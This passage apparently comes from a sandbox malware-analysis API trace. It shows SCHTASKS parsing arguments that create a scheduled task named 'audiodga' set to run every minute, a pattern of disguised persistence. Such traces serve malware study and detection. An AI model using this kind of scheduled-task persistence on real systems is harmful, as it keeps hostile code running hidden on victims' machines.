\"%s /?\" for usage.") returned 0x17 [0071.364] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x30) returned 0x1f7b90 [0071.364] _vsnwprintf (in: _Buffer=0x1fc110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbf1a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0071.365] GetProcessHeap () returned 0x1e0000 [0071.365] GetProcessHeap () returned 0x1e0000 [0071.365] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2e0) returned 1 [0071.365] GetProcessHeap () returned 0x1e0000 [0071.365] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc2e0) returned 0x74e [0071.365] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2e0 | out: hHeap=0x1e0000) returned 1 [0071.365] SetLastError (dwErrCode=0x0) [0071.365] GetThreadLocale () returned 0x409 [0071.365] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.366] lstrlenW (lpString="?") returned 1 [0071.366] GetThreadLocale () returned 0x409 [0071.366] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.366] lstrlenW (lpString="create") returned 6 [0071.366] GetThreadLocale () returned 0x409 [0071.366] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.366] lstrlenW (lpString="delete") returned 6 [0071.366] GetThreadLocale () returned 0x409 [0071.366] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.366] lstrlenW (lpString="query") returned 5 [0071.366] GetThreadLocale () returned 0x409 [0071.366] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.366] lstrlenW (lpString="change") returned 6 [0071.366] GetThreadLocale () returned 0x409 [0071.366] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.366] lstrlenW (lpString="run") returned 3 [0071.366] GetThreadLocale () returned 0x409 [0071.366] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.366] lstrlenW (lpString="end") returned 3 [0071.366] GetThreadLocale () returned 0x409 [0071.366] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.366] lstrlenW (lpString="showsid") returned 7 [0071.367] GetThreadLocale () returned 0x409 [0071.367] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0071.367] SetLastError (dwErrCode=0x0) [0071.367] SetLastError (dwErrCode=0x0) [0071.367] lstrlenW (lpString="/create") returned 7 [0071.367] lstrlenW (lpString="-/") returned 2 [0071.367] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.367] lstrlenW (lpString="?") returned 1 [0071.367] lstrlenW (lpString="?") returned 1 [0071.367] GetProcessHeap () returned 0x1e0000 [0071.367] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fc1c0 [0071.367] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.367] GetProcessHeap () returned 0x1e0000 [0071.367] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xa) returned 0x1fc2e0 [0071.367] lstrlenW (lpString="create") returned 6 [0071.367] GetProcessHeap () returned 0x1e0000 [0071.367] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fc300 [0071.367] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.367] GetProcessHeap () returned 0x1e0000 [0071.367] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x14) returned 0x1fc320 [0071.367] _vsnwprintf (in: _Buffer=0x1fc2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|?|") returned 3 [0071.367] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.367] lstrlenW (lpString="|?|") returned 3 [0071.367] lstrlenW (lpString="|create|") returned 8 [0071.367] SetLastError (dwErrCode=0x490) [0071.367] lstrlenW (lpString="create") returned 6 [0071.368] lstrlenW (lpString="create") returned 6 [0071.368] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.368] GetProcessHeap () returned 0x1e0000 [0071.368] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2e0) returned 1 [0071.368] GetProcessHeap () returned 0x1e0000 [0071.368] RtlReAllocateHeap (Heap=0x1e0000, Flags=0xc, Ptr=0x1fc2e0, Size=0x14) returned 0x1fc340 [0071.368] lstrlenW (lpString="create") returned 6 [0071.368] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.368] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.368] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.368] lstrlenW (lpString="|create|") returned 8 [0071.368] lstrlenW (lpString="|create|") returned 8 [0071.368] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0071.368] SetLastError (dwErrCode=0x0) [0071.368] SetLastError (dwErrCode=0x0) [0071.368] SetLastError (dwErrCode=0x0) [0071.368] lstrlenW (lpString="/tn") returned 3 [0071.368] lstrlenW (lpString="-/") returned 2 [0071.368] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.368] lstrlenW (lpString="?") returned 1 [0071.368] lstrlenW (lpString="?") returned 1 [0071.368] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.368] lstrlenW (lpString="tn") returned 2 [0071.368] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.369] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|?|") returned 3 [0071.369] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tn|") returned 4 [0071.369] lstrlenW (lpString="|?|") returned 3 [0071.369] lstrlenW (lpString="|tn|") returned 4 [0071.369] SetLastError (dwErrCode=0x490) [0071.369] lstrlenW (lpString="create") returned 6 [0071.369] lstrlenW (lpString="create") returned 6 [0071.369] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.369] lstrlenW (lpString="tn") returned 2 [0071.369] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.369] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.369] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tn|") returned 4 [0071.369] lstrlenW (lpString="|create|") returned 8 [0071.369] lstrlenW (lpString="|tn|") returned 4 [0071.369] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0071.369] SetLastError (dwErrCode=0x490) [0071.369] lstrlenW (lpString="delete") returned 6 [0071.369] lstrlenW (lpString="delete") returned 6 [0071.369] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.369] lstrlenW (lpString="tn") returned 2 [0071.369] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.370] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|delete|") returned 8 [0071.370] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tn|") returned 4 [0071.370] lstrlenW (lpString="|delete|") returned 8 [0071.370] lstrlenW (lpString="|tn|") returned 4 [0071.370] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0071.370] SetLastError (dwErrCode=0x490) [0071.370] lstrlenW (lpString="query") returned 5 [0071.370] lstrlenW (lpString="query") returned 5 [0071.370] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.370] lstrlenW (lpString="tn") returned 2 [0071.370] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.370] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|query|") returned 7 [0071.370] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tn|") returned 4 [0071.370] lstrlenW (lpString="|query|") returned 7 [0071.370] lstrlenW (lpString="|tn|") returned 4 [0071.370] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0071.370] SetLastError (dwErrCode=0x490) [0071.370] lstrlenW (lpString="change") returned 6 [0071.370] lstrlenW (lpString="change") returned 6 [0071.370] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.371] lstrlenW (lpString="tn") returned 2 [0071.371] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.371] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|change|") returned 8 [0071.371] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tn|") returned 4 [0071.371] lstrlenW (lpString="|change|") returned 8 [0071.371] lstrlenW (lpString="|tn|") returned 4 [0071.371] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0071.371] SetLastError (dwErrCode=0x490) [0071.371] lstrlenW (lpString="run") returned 3 [0071.371] lstrlenW (lpString="run") returned 3 [0071.371] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.371] lstrlenW (lpString="tn") returned 2 [0071.371] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.371] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|run|") returned 5 [0071.371] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tn|") returned 4 [0071.371] lstrlenW (lpString="|run|") returned 5 [0071.371] lstrlenW (lpString="|tn|") returned 4 [0071.371] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0071.371] SetLastError (dwErrCode=0x490) [0071.371] lstrlenW (lpString="end") returned 3 [0071.371] lstrlenW (lpString="end") returned 3 [0071.371] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.371] lstrlenW (lpString="tn") returned 2 [0071.372] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.372] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|end|") returned 5 [0071.372] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tn|") returned 4 [0071.372] lstrlenW (lpString="|end|") returned 5 [0071.372] lstrlenW (lpString="|tn|") returned 4 [0071.372] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0071.372] SetLastError (dwErrCode=0x490) [0071.372] lstrlenW (lpString="showsid") returned 7 [0071.372] lstrlenW (lpString="showsid") returned 7 [0071.372] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.372] GetProcessHeap () returned 0x1e0000 [0071.372] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc340) returned 1 [0071.372] GetProcessHeap () returned 0x1e0000 [0071.372] RtlReAllocateHeap (Heap=0x1e0000, Flags=0xc, Ptr=0x1fc340, Size=0x16) returned 0x1fc340 [0071.372] lstrlenW (lpString="tn") returned 2 [0071.372] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.372] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|showsid|") returned 9 [0071.372] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tn|") returned 4 [0071.373] lstrlenW (lpString="|showsid|") returned 9 [0071.373] lstrlenW (lpString="|tn|") returned 4 [0071.373] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0071.373] SetLastError (dwErrCode=0x490) [0071.373] SetLastError (dwErrCode=0x490) [0071.373] SetLastError (dwErrCode=0x0) [0071.373] lstrlenW (lpString="/tn") returned 3 [0071.373] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0071.373] SetLastError (dwErrCode=0x490) [0071.373] SetLastError (dwErrCode=0x0) [0071.373] lstrlenW (lpString="/tn") returned 3 [0071.373] GetProcessHeap () returned 0x1e0000 [0071.373] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fc2e0 [0071.373] GetProcessHeap () returned 0x1e0000 [0071.373] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd10 [0071.373] SetLastError (dwErrCode=0x0) [0071.373] SetLastError (dwErrCode=0x0) [0071.373] lstrlenW (lpString="audiodga") returned 8 [0071.374] lstrlenW (lpString="-/") returned 2 [0071.374] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0071.374] SetLastError (dwErrCode=0x490) [0071.374] SetLastError (dwErrCode=0x490) [0071.374] SetLastError (dwErrCode=0x0) [0071.374] lstrlenW (lpString="audiodga") returned 8 [0071.374] StrChrIW (lpStart="audiodga", wMatch=0x3a) returned 0x0 [0071.374] SetLastError (dwErrCode=0x490) [0071.374] SetLastError (dwErrCode=0x0) [0071.374] lstrlenW (lpString="audiodga") returned 8 [0071.374] GetProcessHeap () returned 0x1e0000 [0071.374] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x12) returned 0x1fc370 [0071.374] GetProcessHeap () returned 0x1e0000 [0071.374] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd40 [0071.374] SetLastError (dwErrCode=0x0) [0071.374] SetLastError (dwErrCode=0x0) [0071.374] lstrlenW (lpString="/sc") returned 3 [0071.374] lstrlenW (lpString="-/") returned 2 [0071.374] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.375] lstrlenW (lpString="?") returned 1 [0071.375] lstrlenW (lpString="?") returned 1 [0071.375] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.375] lstrlenW (lpString="sc") returned 2 [0071.375] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.375] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|?|") returned 3 [0071.375] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|sc|") returned 4 [0071.375] lstrlenW (lpString="|?|") returned 3 [0071.375] lstrlenW (lpString="|sc|") returned 4 [0071.375] SetLastError (dwErrCode=0x490) [0071.375] lstrlenW (lpString="create") returned 6 [0071.375] lstrlenW (lpString="create") returned 6 [0071.375] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.375] lstrlenW (lpString="sc") returned 2 [0071.375] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.375] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.376] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|sc|") returned 4 [0071.376] lstrlenW (lpString="|create|") returned 8 [0071.376] lstrlenW (lpString="|sc|") returned 4 [0071.376] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0071.376] SetLastError (dwErrCode=0x490) [0071.376] lstrlenW (lpString="delete") returned 6 [0071.376] lstrlenW (lpString="delete") returned 6 [0071.376] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.376] lstrlenW (lpString="sc") returned 2 [0071.376] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.376] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|delete|") returned 8 [0071.376] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|sc|") returned 4 [0071.376] lstrlenW (lpString="|delete|") returned 8 [0071.376] lstrlenW (lpString="|sc|") returned 4 [0071.376] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0071.376] SetLastError (dwErrCode=0x490) [0071.376] lstrlenW (lpString="query") returned 5 [0071.376] lstrlenW (lpString="query") returned 5 [0071.376] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.376] lstrlenW (lpString="sc") returned 2 [0071.376] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.377] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|query|") returned 7 [0071.377] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|sc|") returned 4 [0071.377] lstrlenW (lpString="|query|") returned 7 [0071.377] lstrlenW (lpString="|sc|") returned 4 [0071.377] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0071.377] SetLastError (dwErrCode=0x490) [0071.377] lstrlenW (lpString="change") returned 6 [0071.377] lstrlenW (lpString="change") returned 6 [0071.377] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.377] lstrlenW (lpString="sc") returned 2 [0071.377] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.377] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|change|") returned 8 [0071.377] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|sc|") returned 4 [0071.377] lstrlenW (lpString="|change|") returned 8 [0071.377] lstrlenW (lpString="|sc|") returned 4 [0071.377] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0071.377] SetLastError (dwErrCode=0x490) [0071.377] lstrlenW (lpString="run") returned 3 [0071.377] lstrlenW (lpString="run") returned 3 [0071.377] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.377] lstrlenW (lpString="sc") returned 2 [0071.377] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.377] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|run|") returned 5 [0071.378] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|sc|") returned 4 [0071.378] lstrlenW (lpString="|run|") returned 5 [0071.378] lstrlenW (lpString="|sc|") returned 4 [0071.378] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0071.501] SetLastError (dwErrCode=0x490) [0071.501] lstrlenW (lpString="end") returned 3 [0071.502] lstrlenW (lpString="end") returned 3 [0071.502] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.502] lstrlenW (lpString="sc") returned 2 [0071.502] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.502] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|end|") returned 5 [0071.502] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|sc|") returned 4 [0071.502] lstrlenW (lpString="|end|") returned 5 [0071.502] lstrlenW (lpString="|sc|") returned 4 [0071.502] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0071.502] SetLastError (dwErrCode=0x490) [0071.502] lstrlenW (lpString="showsid") returned 7 [0071.502] lstrlenW (lpString="showsid") returned 7 [0071.502] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.502] lstrlenW (lpString="sc") returned 2 [0071.502] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.502] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|showsid|") returned 9 [0071.502] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|sc|") returned 4 [0071.502] lstrlenW (lpString="|showsid|") returned 9 [0071.502] lstrlenW (lpString="|sc|") returned 4 [0071.502] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0071.502] SetLastError (dwErrCode=0x490) [0071.503] SetLastError (dwErrCode=0x490) [0071.503] SetLastError (dwErrCode=0x0) [0071.503] lstrlenW (lpString="/sc") returned 3 [0071.503] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0071.503] SetLastError (dwErrCode=0x490) [0071.503] SetLastError (dwErrCode=0x0) [0071.503] lstrlenW (lpString="/sc") returned 3 [0071.503] GetProcessHeap () returned 0x1e0000 [0071.503] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fc390 [0071.503] GetProcessHeap () returned 0x1e0000 [0071.503] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcd70 [0071.503] SetLastError (dwErrCode=0x0) [0071.503] SetLastError (dwErrCode=0x0) [0071.503] lstrlenW (lpString="MINUTE") returned 6 [0071.503] lstrlenW (lpString="-/") returned 2 [0071.503] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0071.503] SetLastError (dwErrCode=0x490) [0071.503] SetLastError (dwErrCode=0x490) [0071.503] SetLastError (dwErrCode=0x0) [0071.503] lstrlenW (lpString="MINUTE") returned 6 [0071.503] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0071.503] SetLastError (dwErrCode=0x490) [0071.503] SetLastError (dwErrCode=0x0) [0071.503] lstrlenW (lpString="MINUTE") returned 6 [0071.503] GetProcessHeap () returned 0x1e0000 [0071.503] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fc3b0 [0071.504] GetProcessHeap () returned 0x1e0000 [0071.504] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcda0 [0071.504] SetLastError (dwErrCode=0x0) [0071.504] SetLastError (dwErrCode=0x0) [0071.504] lstrlenW (lpString="/mo") returned 3 [0071.504] lstrlenW (lpString="-/") returned 2 [0071.504] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.504] lstrlenW (lpString="?") returned 1 [0071.504] lstrlenW (lpString="?") returned 1 [0071.504] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.504] lstrlenW (lpString="mo") returned 2 [0071.504] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.504] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|?|") returned 3 [0071.504] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|mo|") returned 4 [0071.504] lstrlenW (lpString="|?|") returned 3 [0071.504] lstrlenW (lpString="|mo|") returned 4 [0071.504] SetLastError (dwErrCode=0x490) [0071.504] lstrlenW (lpString="create") returned 6 [0071.504] lstrlenW (lpString="create") returned 6 [0071.504] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.504] lstrlenW (lpString="mo") returned 2 [0071.504] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.504] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.504] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|mo|") returned 4 [0071.505] lstrlenW (lpString="|create|") returned 8 [0071.505] lstrlenW (lpString="|mo|") returned 4 [0071.505] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0071.505] SetLastError (dwErrCode=0x490) [0071.505] lstrlenW (lpString="delete") returned 6 [0071.505] lstrlenW (lpString="delete") returned 6 [0071.505] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.505] lstrlenW (lpString="mo") returned 2 [0071.505] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.505] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|delete|") returned 8 [0071.505] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|mo|") returned 4 [0071.505] lstrlenW (lpString="|delete|") returned 8 [0071.505] lstrlenW (lpString="|mo|") returned 4 [0071.505] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0071.505] SetLastError (dwErrCode=0x490) [0071.505] lstrlenW (lpString="query") returned 5 [0071.505] lstrlenW (lpString="query") returned 5 [0071.505] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.505] lstrlenW (lpString="mo") returned 2 [0071.505] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.505] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|query|") returned 7 [0071.505] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|mo|") returned 4 [0071.505] lstrlenW (lpString="|query|") returned 7 [0071.506] lstrlenW (lpString="|mo|") returned 4 [0071.506] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0071.506] SetLastError (dwErrCode=0x490) [0071.506] lstrlenW (lpString="change") returned 6 [0071.506] lstrlenW (lpString="change") returned 6 [0071.506] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.506] lstrlenW (lpString="mo") returned 2 [0071.506] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.506] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|change|") returned 8 [0071.506] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|mo|") returned 4 [0071.506] lstrlenW (lpString="|change|") returned 8 [0071.506] lstrlenW (lpString="|mo|") returned 